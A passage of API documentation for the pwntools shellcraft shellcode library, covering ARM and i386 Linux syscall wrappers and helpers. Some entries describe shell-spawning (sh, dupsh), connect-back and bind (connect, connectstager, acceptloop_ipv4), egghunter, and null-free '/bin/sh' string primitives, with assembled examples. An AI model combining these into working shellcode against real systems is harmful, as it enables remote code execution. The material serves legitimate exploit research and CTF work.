pwnlib.shellcraft.arm.linux.**settimeofday**(*tv*, *tz*)

Invokes the syscall settimeofday. See 'man 2 settimeofday' for more information.

Parameters

- **tv** (*timeval*) – tv
- **tz** (*timezone*) – tz

pwnlib.shellcraft.arm.linux.**setuid**(*uid*)

Invokes the syscall setuid. See 'man 2 setuid' for more information.

Parameters **uid** (*uid_t*) – uid

pwnlib.shellcraft.arm.linux.**sh**()

Execute a different process.

```
>>> p = run_assembly(shellcraft.arm.linux.sh())
>>> p.sendline('echo Hello')
>>> p.recv()
'Hello\n'
```

pwnlib.shellcraft.arm.linux.**sigaction**(*sig*, *act*, *oact*)

Invokes the syscall sigaction. See 'man 2 sigaction' for more information.

Parameters

- **sig** (*int*) – sig
- **act** (*sigaction*) – act
- **oact** (*sigaction*) – oact

pwnlib.shellcraft.arm.linux.**sigaltstack**(*ss*, *oss*)

Invokes the syscall sigaltstack. See 'man 2 sigaltstack' for more information.

Parameters

- **ss** (*sigaltstack*) – ss
- **oss** (*sigaltstack*) – oss

pwnlib.shellcraft.arm.linux.**signal**(*sig*, *handler*)

Invokes the syscall signal. See 'man 2 signal' for more information.

Parameters

- **sig** (*int*) – sig

- **handler** (*sighandler_t*) – handler

`pwnlib.shellcraft.arm.linux.`**`sigpending`**(*set*)
Invokes the syscall sigpending. See 'man 2 sigpending' for more information.

Parameters **set** (*sigset_t*) – set

`pwnlib.shellcraft.arm.linux.`**`sigprocmask`**(*how*, *set*, *oset*)
Invokes the syscall sigprocmask. See 'man 2 sigprocmask' for more information.

Parameters

- **how** (*int*) – how
- **set** (*sigset_t*) – set
- **oset** (*sigset_t*) – oset

`pwnlib.shellcraft.arm.linux.`**`sigreturn`**()
Invokes the syscall sigreturn. See 'man 2 sigreturn' for more information.

`pwnlib.shellcraft.arm.linux.`**`sigsuspend`**(*set*)
Invokes the syscall sigsuspend. See 'man 2 sigsuspend' for more information.

Parameters **set** (*sigset_t*) – set

`pwnlib.shellcraft.arm.linux.`**`splice`**(*fdin*, *offin*, *fdout*, *offout*, *length*, *flags*)
Invokes the syscall splice. See 'man 2 splice' for more information.

Parameters

- **fdin** (*int*) – fdin
- **offin** (*off64_t*) – offin
- **fdout** (*int*) – fdout
- **offout** (*off64_t*) – offout
- **len** (*size_t*) – len
- **flags** (*unsigned*) – flags

`pwnlib.shellcraft.arm.linux.`**`stat`**(*file*, *buf*)
Invokes the syscall stat. See 'man 2 stat' for more information.

Parameters

- **file** (*char*) – file
- **buf** (*stat*) – buf

`pwnlib.shellcraft.arm.linux.`**`stat64`**(*file*, *buf*)
Invokes the syscall stat64. See 'man 2 stat64' for more information.

Parameters

- **file** (*char*) – file
- **buf** (*stat64*) – buf

`pwnlib.shellcraft.arm.linux.`**`stime`**(*when*)
Invokes the syscall stime. See 'man 2 stime' for more information.

Parameters **when** (*time_t*) – when

`pwnlib.shellcraft.arm.linux.`**`stty`**(*fd*, *params*)
Invokes the syscall stty. See 'man 2 stty' for more information.

Parameters

- **fd** (*int*) – fd
- **params** (*sgttyb*) – params

`pwnlib.shellcraft.arm.linux.`**`symlink`**(*from_*, *to*)

Invokes the syscall symlink. See 'man 2 symlink' for more information.

Parameters

- **from** (*char*) – from
- **to** (*char*) – to

`pwnlib.shellcraft.arm.linux.`**`symlinkat`**(*from_*, *tofd*, *to*)

Invokes the syscall symlinkat. See 'man 2 symlinkat' for more information.

Parameters

- **from** (*char*) – from
- **tofd** (*int*) – tofd
- **to** (*char*) – to

`pwnlib.shellcraft.arm.linux.`**`sync`**()

Invokes the syscall sync. See 'man 2 sync' for more information.

Arguments:

`pwnlib.shellcraft.arm.linux.`**`sync_file_range`**(*fd*, *offset*, *count*, *flags*)

Invokes the syscall sync_file_range. See 'man 2 sync_file_range' for more information.

Parameters

- **fd** (*int*) – fd
- **offset** (*off64_t*) – offset
- **count** (*off64_t*) – count
- **flags** (*unsigned*) – flags

`pwnlib.shellcraft.arm.linux.`**`syscall`**(*syscall=None*, *arg0=None*, *arg1=None*, *arg2=None*, *arg3=None*, *arg4=None*, *arg5=None*, *arg6=None*)

Args: [syscall_number, *args] Does a syscall

Any of the arguments can be expressions to be evaluated by `pwnlib.constants.eval()`.

Example

```
>>> print shellcraft.arm.linux.syscall(11, 1, 'sp', 2, 0).rstrip()
    /* call syscall(11, 1, 'sp', 2, 0) */
    mov  r0, #1
    mov  r1, sp
    mov  r2, #2
    eor  r3, r3 /* 0 (#0) */
    mov  r7, #0xb
    svc  0
>>> print shellcraft.arm.linux.syscall('SYS_exit', 0).rstrip()
    /* call exit(0) */
    eor  r0, r0 /* 0 (#0) */
```

```
        mov  r7, #(SYS_exit) /* 1 */
        svc  0
```

pwnlib.shellcraft.arm.linux.**syslog**(*pri*, *fmt*, *vararg*)

Invokes the syscall syslog. See 'man 2 syslog' for more information.

Parameters

- **pri** (*int*) – pri
- **fmt** (*char*) – fmt
- **vararg** (*int*) – vararg

pwnlib.shellcraft.arm.linux.**tee**(*fdin*, *fdout*, *length*, *flags*)

Invokes the syscall tee. See 'man 2 tee' for more information.

Parameters

- **fdin** (*int*) – fdin
- **fdout** (*int*) – fdout
- **len** (*size_t*) – len
- **flags** (*unsigned*) – flags

pwnlib.shellcraft.arm.linux.**time**(*timer*)

Invokes the syscall time. See 'man 2 time' for more information.

Parameters **timer** (*time_t*) – timer

pwnlib.shellcraft.arm.linux.**timer_create**(*clock_id*, *evp*, *timerid*)

Invokes the syscall timer_create. See 'man 2 timer_create' for more information.

Parameters

- **clock_id** (*clockid_t*) – clock_id
- **evp** (*sigevent*) – evp
- **timerid** (*timer_t*) – timerid

pwnlib.shellcraft.arm.linux.**timer_delete**(*timerid*)

Invokes the syscall timer_delete. See 'man 2 timer_delete' for more information.

Parameters **timerid** (*timer_t*) – timerid

pwnlib.shellcraft.arm.linux.**timer_getoverrun**(*timerid*)

Invokes the syscall timer_getoverrun. See 'man 2 timer_getoverrun' for more information.

Parameters **timerid** (*timer_t*) – timerid

pwnlib.shellcraft.arm.linux.**timer_gettime**(*timerid*, *value*)

Invokes the syscall timer_gettime. See 'man 2 timer_gettime' for more information.

Parameters

- **timerid** (*timer_t*) – timerid
- **value** (*itimerspec*) – value

pwnlib.shellcraft.arm.linux.**timer_settime**(*timerid*, *flags*, *value*, *ovalue*)

Invokes the syscall timer_settime. See 'man 2 timer_settime' for more information.

Parameters

- **timerid** (*timer_t*) – timerid

- **flags** (*int*) – flags
- **value** (*itimerspec*) – value
- **ovalue** (*itimerspec*) – ovalue

pwnlib.shellcraft.arm.linux.**truncate**(*file*, *length*)
Invokes the syscall truncate. See 'man 2 truncate' for more information.

Parameters

- **file** (*char*) – file
- **length** (*off_t*) – length

pwnlib.shellcraft.arm.linux.**truncate64**(*file*, *length*)
Invokes the syscall truncate64. See 'man 2 truncate64' for more information.

Parameters

- **file** (*char*) – file
- **length** (*off64_t*) – length

pwnlib.shellcraft.arm.linux.**ulimit**(*cmd*, *vararg*)
Invokes the syscall ulimit. See 'man 2 ulimit' for more information.

Parameters

- **cmd** (*int*) – cmd
- **vararg** (*int*) – vararg

pwnlib.shellcraft.arm.linux.**umask**(*mask*)
Invokes the syscall umask. See 'man 2 umask' for more information.

Parameters **mask** (*mode_t*) – mask

pwnlib.shellcraft.arm.linux.**uname**(*name*)
Invokes the syscall uname. See 'man 2 uname' for more information.

Parameters **name** (*utsname*) – name

pwnlib.shellcraft.arm.linux.**unlink**(*name*)
Invokes the syscall unlink. See 'man 2 unlink' for more information.

Parameters **name** (*char*) – name

pwnlib.shellcraft.arm.linux.**unlinkat**(*fd*, *name*, *flag*)
Invokes the syscall unlinkat. See 'man 2 unlinkat' for more information.

Parameters

- **fd** (*int*) – fd
- **name** (*char*) – name
- **flag** (*int*) – flag

pwnlib.shellcraft.arm.linux.**unshare**(*flags*)
Invokes the syscall unshare. See 'man 2 unshare' for more information.

Parameters **flags** (*int*) – flags

pwnlib.shellcraft.arm.linux.**ustat**(*dev*, *ubuf*)
Invokes the syscall ustat. See 'man 2 ustat' for more information.

Parameters

- **dev** (*dev_t*) – dev
- **ubuf** (*ustat*) – ubuf

`pwnlib.shellcraft.arm.linux.`**`utime`**(*file*, *file_times*)

Invokes the syscall utime. See 'man 2 utime' for more information.

Parameters

- **file** (*char*) – file
- **file_times** (*utimbuf*) – file_times

`pwnlib.shellcraft.arm.linux.`**`utimensat`**(*fd*, *path*, *times*, *flags*)

Invokes the syscall utimensat. See 'man 2 utimensat' for more information.

Parameters

- **fd** (*int*) – fd
- **path** (*char*) – path
- **times** (*timespec*) – times
- **flags** (*int*) – flags

`pwnlib.shellcraft.arm.linux.`**`utimes`**(*file*, *tvp*)

Invokes the syscall utimes. See 'man 2 utimes' for more information.

Parameters

- **file** (*char*) – file
- **tvp** (*timeval*) – tvp

`pwnlib.shellcraft.arm.linux.`**`vfork`**()

Invokes the syscall vfork. See 'man 2 vfork' for more information.

Arguments:

`pwnlib.shellcraft.arm.linux.`**`vhangup`**()

Invokes the syscall vhangup. See 'man 2 vhangup' for more information.

Arguments:

`pwnlib.shellcraft.arm.linux.`**`vmsplice`**(*fdout*, *iov*, *count*, *flags*)

Invokes the syscall vmsplice. See 'man 2 vmsplice' for more information.

Parameters

- **fdout** (*int*) – fdout
- **iov** (*iovec*) – iov
- **count** (*size_t*) – count
- **flags** (*unsigned*) – flags

`pwnlib.shellcraft.arm.linux.`**`wait4`**(*pid*, *stat_loc*, *options*, *usage*)

Invokes the syscall wait4. See 'man 2 wait4' for more information.

Parameters

- **pid** (*pid_t*) – pid
- **stat_loc** (*WAIT_STATUS*) – stat_loc
- **options** (*int*) – options

- **usage** (*rusage*) – usage

`pwnlib.shellcraft.arm.linux.`**`waitid`**(*idtype*, *id*, *infop*, *options*)
Invokes the syscall waitid. See 'man 2 waitid' for more information.

Parameters

- **idtype** (*idtype_t*) – idtype
- **id** (*id_t*) – id
- **infop** (*siginfo_t*) – infop
- **options** (*int*) – options

`pwnlib.shellcraft.arm.linux.`**`waitpid`**(*pid*, *stat_loc*, *options*)
Invokes the syscall waitpid. See 'man 2 waitpid' for more information.

Parameters

- **pid** (*pid_t*) – pid
- **stat_loc** (*int*) – stat_loc
- **options** (*int*) – options

`pwnlib.shellcraft.arm.linux.`**`write`**(*fd*, *buf*, *n*)
Invokes the syscall write. See 'man 2 write' for more information.

Parameters

- **fd** (*int*) – fd
- **buf** (*void*) – buf
- **n** (*size_t*) – n

`pwnlib.shellcraft.arm.linux.`**`writev`**(*fd*, *iovec*, *count*)
Invokes the syscall writev. See 'man 2 writev' for more information.

Parameters

- **fd** (*int*) – fd
- **iovec** (*iovec*) – iovec
- **count** (*int*) – count

`pwnlib.shellcraft.common` — Shellcode common to all architecture

Shellcraft module containing shellcode common to all platforms.

`pwnlib.shellcraft.common.`**`label`**(*prefix='label'*)
Returns a new unique label with a given prefix.

Parameters **prefix** (*str*) – The string to prefix the label with

`pwnlib.shellcraft.i386` — Shellcode for Intel 80386

`pwnlib.shellcraft.i386`

Shellcraft module containing generic Intel i386 shellcodes.

`pwnlib.shellcraft.i386.`**`breakpoint`**`()`

A single-byte breakpoint instruction.

`pwnlib.shellcraft.i386.`**`crash`**`()`

Crash.

Example

```
>>> run_assembly(shellcraft.crash()).poll(True)
-11
```

`pwnlib.shellcraft.i386.`**`epilog`**`(`*nargs=0*`)`

Function epilogue.

Parameters **`nargs`** (*`int`*) – Number of arguments to pop off the stack.

`pwnlib.shellcraft.i386.`**`function`**`(`*name*, *template_function*, **registers*`)`

Converts a shellcraft template into a callable function.

Parameters

- **`template_sz`** (*`callable`*) – Rendered shellcode template. Any variable Arguments should be supplied as registers.
- **`name`** (*`str`*) – Name of the function.
- **`registers`** (*`list`*) – List of registers which should be filled from the stack.

```
>>> shellcode = ''
>>> shellcode += shellcraft.function('write', shellcraft.i386.linux.write, )

>>> hello = shellcraft.i386.linux.echo("Hello!", 'eax')
>>> hello_fn = shellcraft.i386.function(hello, 'eax').strip()
>>> exit = shellcraft.i386.linux.exit('edi')
>>> exit_fn = shellcraft.i386.function(exit, 'edi').strip()
>>> shellcode = '''
...     push STDOUT_FILENO
...     call hello
...     push 33
...     call exit
... hello:
...     %(hello_fn)s
... exit:
...     %(exit_fn)s
... ''' % (locals())
>>> p = run_assembly(shellcode)
>>> p.recvall()
'Hello!'
>>> p.wait_for_close()
>>> p.poll()
33
```

Notes

Can only be used on a shellcraft template which takes all of its arguments as registers. For example, the pushstr

`pwnlib.shellcraft.i386.`**`getpc`**`(`*register='ecx'*`)`

Retrieves the value of EIP, stores it in the desired register.

Parameters **return_value** – Value to return

pwnlib.shellcraft.i386.**infloop**()

A two-byte infinite loop.

pwnlib.shellcraft.i386.**itoa**(*v*, *buffer='esp'*, *allocate_stack=True*)

Converts an integer into its string representation, and pushes it onto the stack.

Parameters

- **v** (*str*, *int*) – Integer constant or register that contains the value to convert.
- **alloca** –

Example

```
>>> sc = shellcraft.i386.mov('eax', 0xdeadbeef)
>>> sc += shellcraft.i386.itoa('eax')
>>> sc += shellcraft.i386.linux.write(1, 'esp', 32)
>>> run_assembly(sc).recvuntil('\x00')
'3735928559\x00'
```

pwnlib.shellcraft.i386.**memcpy**(*dest*, *src*, *n*)

Copies memory.

Parameters

- **dest** – Destination address
- **src** – Source address
- **n** – Number of bytes

pwnlib.shellcraft.i386.**mov**(*dest*, *src*, *stack_allowed=True*)

Move src into dest without newlines and null bytes.

If the src is a register smaller than the dest, then it will be zero-extended to fit inside the larger register.

If the src is a register larger than the dest, then only some of the bits will be used.

If src is a string that is not a register, then it will locally set *context.arch* to *'i386'* and use pwnlib.constants.eval() to evaluate the string. Note that this means that this shellcode can change behavior depending on the value of *context.os*.

Parameters

- **dest** (*str*) – The destination register.
- **src** (*str*) – Either the input register, or an immediate value.
- **stack_allowed** (*bool*) – Can the stack be used?

Example

```
>>> print shellcraft.i386.mov('eax','ebx').rstrip()
    mov eax, ebx
>>> print shellcraft.i386.mov('eax', 0).rstrip()
    xor eax, eax
>>> print shellcraft.i386.mov('ax', 0).rstrip()
    xor ax, ax
>>> print shellcraft.i386.mov('ax', 17).rstrip()
```

```
    xor ax, ax
    mov al, 0x11
>>> print shellcraft.i386.mov('edi', ord('\n')).rstrip()
    push 9 /* mov edi, '\n' */
    pop edi
    inc edi
>>> print shellcraft.i386.mov('al', 'ax').rstrip()
    /* moving ax into al, but this is a no-op */
>>> print shellcraft.i386.mov('al','ax').rstrip()
    /* moving ax into al, but this is a no-op */
>>> print shellcraft.i386.mov('esp', 'esp').rstrip()
    /* moving esp into esp, but this is a no-op */
>>> print shellcraft.i386.mov('ax', 'bl').rstrip()
    movzx ax, bl
>>> print shellcraft.i386.mov('eax', 1).rstrip()
    push 1
    pop eax
>>> print shellcraft.i386.mov('eax', 1, stack_allowed=False).rstrip()
    xor eax, eax
    mov al, 1
>>> print shellcraft.i386.mov('eax', 0xdead00ff).rstrip()
    mov eax, -0xdead00ff
    neg eax
>>> print shellcraft.i386.mov('eax', 0xc0).rstrip()
    xor eax, eax
    mov al, 0xc0
>>> print shellcraft.i386.mov('edi', 0xc0).rstrip()
    mov edi, -0xc0
    neg edi
>>> print shellcraft.i386.mov('eax', 0xc000).rstrip()
    xor eax, eax
    mov ah, 0xc000 >> 8
>>> print shellcraft.i386.mov('eax', 0xffc000).rstrip()
    mov eax, 0x1010101
    xor eax, 0x1010101 ^ 0xffc000
>>> print shellcraft.i386.mov('edi', 0xc000).rstrip()
    mov edi, (-1) ^ 0xc000
    not edi
>>> print shellcraft.i386.mov('edi', 0xf500).rstrip()
    mov edi, 0x1010101
    xor edi, 0x1010101 ^ 0xf500
>>> print shellcraft.i386.mov('eax', 0xc0c0).rstrip()
    xor eax, eax
    mov ax, 0xc0c0
>>> print shellcraft.i386.mov('eax', 'SYS_execve').rstrip()
    push (SYS_execve) /* 0xb */
    pop eax
>>> with context.local(os='freebsd'):
...     print shellcraft.i386.mov('eax', 'SYS_execve').rstrip()
    push (SYS_execve) /* 0x3b */
    pop eax
>>> print shellcraft.i386.mov('eax', 'PROT_READ | PROT_WRITE | PROT_EXEC').rstrip()
    push (PROT_READ | PROT_WRITE | PROT_EXEC) /* 7 */
    pop eax
```

pwnlib.shellcraft.i386.**nop**()

A single-byte nop instruction.

pwnlib.shellcraft.i386.**prolog**()

Function prologue.

`pwnlib.shellcraft.i386.`**`push`**`(`*value*`)`

Pushes a value onto the stack without using null bytes or newline characters.

If src is a string, then we try to evaluate with *context.arch = 'i386'* using `pwnlib.constants.eval()` before determining how to push it. Note that this means that this shellcode can change behavior depending on the value of *context.os*.

Parameters **`value`** (*`int, str`*) – The value or register to push

Example

```
>>> print pwnlib.shellcraft.i386.push(0).rstrip()
    /* push 0 */
    push 1
    dec byte ptr [esp]
>>> print pwnlib.shellcraft.i386.push(1).rstrip()
    /* push 1 */
    push 1
>>> print pwnlib.shellcraft.i386.push(256).rstrip()
    /* push 0x100 */
    push 0x1010201
    xor dword ptr [esp], 0x1010301
>>> print pwnlib.shellcraft.i386.push('SYS_execve').rstrip()
    /* push (SYS_execve) (0xb) */
    push 0xb
>>> print pwnlib.shellcraft.i386.push('SYS_sendfile').rstrip()
    /* push (SYS_sendfile) (0xbb) */
    push 0x1010101
    xor dword ptr [esp], 0x10101ba
>>> with context.local(os = 'freebsd'):
...     print pwnlib.shellcraft.i386.push('SYS_execve').rstrip()
    /* push (SYS_execve) (0x3b) */
    push 0x3b
```

`pwnlib.shellcraft.i386.`**`pushstr`**`(`*string*, *append_null=True*`)`

Pushes a string onto the stack without using null bytes or newline characters.

Example

```
>>> print shellcraft.i386.pushstr('').rstrip()
    /* push '\x00' */
    push 1
    dec byte ptr [esp]
>>> print shellcraft.i386.pushstr('a').rstrip()
    /* push 'a\x00' */
    push 0x61
>>> print shellcraft.i386.pushstr('aa').rstrip()
    /* push 'aa\x00' */
    push 0x1010101
    xor dword ptr [esp], 0x1016060
>>> print shellcraft.i386.pushstr('aaa').rstrip()
    /* push 'aaa\x00' */
    push 0x1010101
    xor dword ptr [esp], 0x1606060
```

```
>>> print shellcraft.i386.pushstr('aaaa').rstrip()
    /* push 'aaaa\x00' */
    push 1
    dec byte ptr [esp]
    push 0x61616161
>>> print shellcraft.i386.pushstr('aaaaa').rstrip()
    /* push 'aaaaa\x00' */
    push 0x61
    push 0x61616161
>>> print shellcraft.i386.pushstr('aaaa', append_null = False).rstrip()
    /* push 'aaaa' */
    push 0x61616161
>>> print shellcraft.i386.pushstr('\xc3').rstrip()
    /* push '\xc3\x00' */
    push 0x1010101
    xor dword ptr [esp], 0x10101c2
>>> print shellcraft.i386.pushstr('\xc3', append_null = False).rstrip()
    /* push '\xc3' */
    push -0x3d
>>> with context.local():
...    context.arch = 'i386'
...    print enhex(asm(shellcraft.pushstr("/bin/sh")))
68010101018134242e726901682f62696e
>>> with context.local():
...    context.arch = 'i386'
...    print enhex(asm(shellcraft.pushstr("")))
6a01fe0c24
>>> with context.local():
...    context.arch = 'i386'
...    print enhex(asm(shellcraft.pushstr("\x00", False)))
6a01fe0c24
```

Parameters

- **string** (*str*) – The string to push.
- **append_null** (*bool*) – Whether to append a single NULL-byte before pushing.

pwnlib.shellcraft.i386.**pushstr_array**(*reg*, *array*)

Pushes an array/envp-style array of pointers onto the stack.

Parameters

- **reg** (*str*) – Destination register to hold the pointer.
- **array** (*str, list*) – Single argument or list of arguments to push. NULL termination is normalized so that each argument ends with exactly one NULL byte.

pwnlib.shellcraft.i386.**ret**(*return_value=None*)

A single-byte RET instruction.

Parameters **return_value** – Value to return

pwnlib.shellcraft.i386.**setregs**(*reg_context*, *stack_allowed=True*)

Sets multiple registers, taking any register dependencies into account (i.e., given eax=1,ebx=eax, set ebx first).

Parameters

- **reg_context** (*dict*) – Desired register context
- **stack_allowed** (*bool*) – Can the stack be used?

Example

```
>>> print shellcraft.setregs({'eax':1, 'ebx':'eax'}).rstrip()
mov ebx, eax
push 1
pop eax
>>> print shellcraft.setregs({'eax':'ebx', 'ebx':'eax', 'ecx':'ebx'}).rstrip()
mov ecx, ebx
xchg eax, ebx
```

`pwnlib.shellcraft.i386.`**`stackarg`**(*index*, *register*)

Loads a stack-based argument into a register.

Assumes that the 'prolog' code was used to save EBP.

Parameters

- **index** (*int*) – Zero-based argument index.
- **register** (*str*) – Register name.

`pwnlib.shellcraft.i386.`**`stackhunter`**(*cookie = 0x7afceb58*)

Returns an an egghunter, which searches from esp and upwards for a cookie. However to save bytes, it only looks at a single 4-byte alignment. Use the function stackhunter_helper to generate a suitable cookie prefix for you.

The default cookie has been chosen, because it makes it possible to shave a single byte, but other cookies can be used too.

Example

```
>>> with context.local():
...     context.arch = 'i386'
...     print enhex(asm(shellcraft.stackhunter()))
3d58ebfc7a75faffe4
>>> with context.local():
...     context.arch = 'i386'
...     print enhex(asm(shellcraft.stackhunter(0xdeadbeef)))
583defbeadde75f8ffe4
```

`pwnlib.shellcraft.i386.`**`strcpy`**(*dst*, *src*)

Copies a string

Example

```
>>> sc  = 'jmp get_str\n'
>>> sc += 'pop_str: pop eax\n'
>>> sc += shellcraft.i386.strcpy('esp', 'eax')
>>> sc += shellcraft.i386.linux.write(1, 'esp', 32)
>>> sc += shellcraft.i386.linux.exit(0)
>>> sc += 'get_str: call pop_str\n'
>>> sc += '.asciz "Hello, world\\n"'
>>> run_assembly(sc).recvline()
'Hello, world\n'
```

`pwnlib.shellcraft.i386.`**`strlen`**(*string*, *reg='ecx'*)

Calculate the length of the specified string.

Parameters

- **string** (*str*) – Register or address with the string
- **reg** (*str*) – Named register to return the value in, ecx is the default.

Example

```
>>> sc  = 'jmp get_str\n'
>>> sc += 'pop_str: pop eax\n'
>>> sc += shellcraft.i386.strlen('eax')
>>> sc += 'push ecx;'
>>> sc += shellcraft.i386.linux.write(1, 'esp', 4)
>>> sc += shellcraft.i386.linux.exit(0)
>>> sc += 'get_str: call pop_str\n'
>>> sc += '.asciz "Hello, world\\n"'
>>> run_assembly(sc).unpack() == len('Hello, world\n')
True
```

pwnlib.shellcraft.i386.**trap**()

A trap instruction.

pwnlib.shellcraft.i386.**xor**(*key*, *address*, *count*)

XORs data a constant value.

Parameters

- **key** (*int, str*) – XOR key either as a 4-byte integer, If a string, length must be a power of two, and not longer than 4 bytes. Alternately, may be a register.
- **address** (*int*) – Address of the data (e.g. 0xdead0000, 'esp')
- **count** (*int*) – Number of bytes to XOR, or a register containing the number of bytes to XOR.

Example

```
>>> sc  = shellcraft.read(0, 'esp', 32)
>>> sc += shellcraft.xor(0xdeadbeef, 'esp', 32)
>>> sc += shellcraft.write(1, 'esp', 32)
>>> io = run_assembly(sc)
>>> io.send(cyclic(32))
>>> result = io.recvn(32)
>>> expected = xor(cyclic(32), p32(0xdeadbeef))
>>> result == expected
True
```

pwnlib.shellcraft.i386.linux

Shellcraft module containing Intel i386 shellcodes for Linux.

pwnlib.shellcraft.i386.linux.**accept**(*fd*, *addr*, *addr_len*)

Invokes the syscall accept. See 'man 2 accept' for more information.

Parameters

- **fd** (*int*) – fd

- **addr** (*SOCKADDR_ARG*) – addr
- **addr_len** (*socklen_t*) – addr_len

pwnlib.shellcraft.i386.linux.**acceptloop_ipv4**(*port*)

Parameters **port** (*int*) – the listening port

Waits for a connection. Leaves socket in EBP. ipv4 only

pwnlib.shellcraft.i386.linux.**access**(*name*, *type*)

Invokes the syscall access. See 'man 2 access' for more information.

Parameters

- **name** (*char*) – name
- **type** (*int*) – type

pwnlib.shellcraft.i386.linux.**acct**(*name*)

Invokes the syscall acct. See 'man 2 acct' for more information.

Parameters **name** (*char*) – name

pwnlib.shellcraft.i386.linux.**alarm**(*seconds*)

Invokes the syscall alarm. See 'man 2 alarm' for more information.

Parameters **seconds** (*unsigned*) – seconds

pwnlib.shellcraft.i386.linux.**bind**(*fd*, *addr*, *length*)

Invokes the syscall bind. See 'man 2 bind' for more information.

Parameters

- **fd** (*int*) – fd
- **addr** (*CONST_SOCKADDR_ARG*) – addr
- **len** (*socklen_t*) – len

pwnlib.shellcraft.i386.linux.**brk**(*addr*)

Invokes the syscall brk. See 'man 2 brk' for more information.

Parameters **addr** (*void*) – addr

pwnlib.shellcraft.i386.linux.**cat**(*filename*, *fd=1*)

Opens a file and writes its contents to the specified file descriptor.

Example

```
>>> f = tempfile.mktemp()
>>> write(f, 'FLAG')
>>> run_assembly(shellcraft.i386.linux.cat(f)).recvall()
'FLAG'
```

pwnlib.shellcraft.i386.linux.**chdir**(*path*)

Invokes the syscall chdir. See 'man 2 chdir' for more information.

Parameters **path** (*char*) – path

pwnlib.shellcraft.i386.linux.**chmod**(*file*, *mode*)

Invokes the syscall chmod. See 'man 2 chmod' for more information.

Parameters

- **file** (*char*) – file
- **mode** (*mode_t*) – mode

pwnlib.shellcraft.i386.linux.**chown**(*file*, *owner*, *group*)
Invokes the syscall chown. See 'man 2 chown' for more information.

Parameters

- **file** (*char*) – file
- **owner** (*uid_t*) – owner
- **group** (*gid_t*) – group

pwnlib.shellcraft.i386.linux.**chroot**(*path*)
Invokes the syscall chroot. See 'man 2 chroot' for more information.

Parameters **path** (*char*) – path

pwnlib.shellcraft.i386.linux.**clock_getres**(*clock_id*, *res*)
Invokes the syscall clock_getres. See 'man 2 clock_getres' for more information.

Parameters

- **clock_id** (*clockid_t*) – clock_id
- **res** (*timespec*) – res

pwnlib.shellcraft.i386.linux.**clock_gettime**(*clock_id*, *tp*)
Invokes the syscall clock_gettime. See 'man 2 clock_gettime' for more information.

Parameters

- **clock_id** (*clockid_t*) – clock_id
- **tp** (*timespec*) – tp

pwnlib.shellcraft.i386.linux.**clock_nanosleep**(*clock_id*, *flags*, *req*, *rem*)
Invokes the syscall clock_nanosleep. See 'man 2 clock_nanosleep' for more information.

Parameters

- **clock_id** (*clockid_t*) – clock_id
- **flags** (*int*) – flags
- **req** (*timespec*) – req
- **rem** (*timespec*) – rem

pwnlib.shellcraft.i386.linux.**clock_settime**(*clock_id*, *tp*)
Invokes the syscall clock_settime. See 'man 2 clock_settime' for more information.

Parameters

- **clock_id** (*clockid_t*) – clock_id
- **tp** (*timespec*) – tp

pwnlib.shellcraft.i386.linux.**clone**(*fn*, *child_stack*, *flags*, *arg*, *vararg*)
Invokes the syscall clone. See 'man 2 clone' for more information.

Parameters

- **fn** (*int*) – fn
- **child_stack** (*void*) – child_stack

- **flags** (*int*) – flags
- **arg** (*void*) – arg
- **vararg** (*int*) – vararg

pwnlib.shellcraft.i386.linux.**close**(*fd*)

Invokes the syscall close. See 'man 2 close' for more information.

Parameters **fd** (*int*) – fd

pwnlib.shellcraft.i386.linux.**connect**(*host, port, network='ipv4'*)

Connects to the host on the specified port. Leaves the connected socket in edx

Parameters

- **host** (*str*) – Remote IP address or hostname (as a dotted quad / string)
- **port** (*int*) – Remote port
- **network** (*str*) – Network protocol (ipv4 or ipv6)

Examples

```
>>> l = listen(timeout=5)
>>> assembly  = shellcraft.i386.linux.connect('localhost', l.lport)
>>> assembly += shellcraft.i386.pushstr('Hello')
>>> assembly += shellcraft.i386.linux.write('edx', 'esp', 5)
>>> p = run_assembly(assembly)
>>> l.wait_for_connection().recv()
'Hello'
```

```
>>> l = listen(fam='ipv6', timeout=5)
>>> assembly   = shellcraft.i386.linux.connect('ip6-localhost', l.lport, 'ipv6')
>>> p = run_assembly(assembly)
>>> assert l.wait_for_connection()
```

pwnlib.shellcraft.i386.linux.**connectstager**(*host, port, network='ipv4'*)

connect recvsize stager :param host, where to connect to: :param port, which port to connect to: :param network, ipv4 or ipv6? (default: ipv4)

pwnlib.shellcraft.i386.linux.**creat**(*file, mode*)

Invokes the syscall creat. See 'man 2 creat' for more information.

Parameters

- **file** (*char*) – file
- **mode** (*mode_t*) – mode

pwnlib.shellcraft.i386.linux.**dir**(*in_fd='ebp', size=2048, allocate_stack=True*)

Reads to the stack from a directory.

Parameters

- **in_fd** (*int/str*) – File descriptor to be read from.
- **size** (*int*) – Buffer size.
- **allocate_stack** (*bool*) – allocate 'size' bytes on the stack.

You can optioanlly shave a few bytes not allocating the stack space.

The size read is left in eax.

pwnlib.shellcraft.i386.linux.**dup**(*fd*, *fd2*)

Invokes the syscall dup. See ‘man 2 dup’ for more information.

Parameters **fd** (*int*) – fd

pwnlib.shellcraft.i386.linux.**dup2**(*fd*, *fd2*)

Invokes the syscall dup2. See ‘man 2 dup2’ for more information.

Parameters

- **fd** (*int*) – fd
- **fd2** (*int*) – fd2

pwnlib.shellcraft.i386.linux.**dup3**(*fd*, *fd2*, *flags*)

Invokes the syscall dup3. See ‘man 2 dup3’ for more information.

Parameters

- **fd** (*int*) – fd
- **fd2** (*int*) – fd2
- **flags** (*int*) – flags

pwnlib.shellcraft.i386.linux.**dupio**(*sock=’ebp’*)

Args: [sock (imm/reg) = ebp] Duplicates sock to stdin, stdout and stderr

pwnlib.shellcraft.i386.linux.**dupsh**(*sock=’ebp’*)

Args: [sock (imm/reg) = ebp] Duplicates sock to stdin, stdout and stderr and spawns a shell.

pwnlib.shellcraft.i386.linux.**echo**(*string*, *sock=‘1’*)

Writes a string to a file descriptor

Example

```
>>> run_assembly(shellcraft.echo('hello', 1)).recvall()
'hello'
```

pwnlib.shellcraft.i386.linux.**egghunter**(*egg*, *start_address = 0*)

Searches memory for the byte sequence ‘egg’.

Return value is the address immediately following the match, stored in RDI.

Parameters

- **egg** (*str, int*) – String of bytes, or word-size integer to search for
- **start_address** (*int*) – Where to start the search

pwnlib.shellcraft.i386.linux.**epoll_create**(*size*)

Invokes the syscall epoll_create. See ‘man 2 epoll_create’ for more information.

Parameters **size** (*int*) – size

pwnlib.shellcraft.i386.linux.**epoll_create1**(*flags*)

Invokes the syscall epoll_create1. See ‘man 2 epoll_create1’ for more information.

Parameters **flags** (*int*) – flags

